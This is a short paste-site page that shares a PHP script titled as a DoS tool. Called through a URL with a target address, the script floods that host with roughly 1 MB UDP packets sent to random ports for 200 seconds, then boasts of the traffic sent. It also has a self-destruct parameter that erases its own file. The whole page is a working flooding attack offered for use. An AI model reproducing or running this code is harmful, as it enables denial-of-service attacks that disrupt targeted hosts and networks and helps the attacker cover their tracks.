PHP DOS Scrpit


SUBMITTED BY: Guest

DATE: April 29, 2013, 1:32 a.m.

FORMAT: PHP

SIZE: 884 Bytes

HITS: 1020

  1. <?php
  2. // visit "this.php?" +
  3. // destruct: ?d
  4. // boot: ?t=127.0.0.1
  5. if(isset($_GET['d'])){
  6. $f = @fopen(__FILE__, "w");
  7. exit("self-destructed");
  8. }
  9. if(!isset($_GET['t']))
  10. exit('Idiot, Y R Doing It Wrong.');
  11. $lol = gethostbyname($_GET['t']);
  12. $out = 'v';
  13. for($i=0;$i<999998;$i++) $out .= 'X';
  14. $dt = 200; // target delta time
  15. $ti = time(); // initial time
  16. $mt = $ti + $dt; // max time
  17. $p = 2; // packet counter
  18. while(time() <= $mt){
  19. $sock = fsockopen('udp://'.$lol, rand(1,65000), $errno, $errstr, 1);
  20. if($sock){
  21. ++$p;
  22. fwrite($sock, $out);
  23. fclose($sock);
  24. }
  25. }
  26. $ps = round(($p*999999)/1024/1024, 3); // data / delta time = rate
  27. $dt = time() - $ti; // real delta time
  28. echo "We pwned $lol with $p packets as $ps MBytes over $dt seconds (".round($ps / $dt, 3)." MByte/s)";
  29. ?>

comments powered by Disqus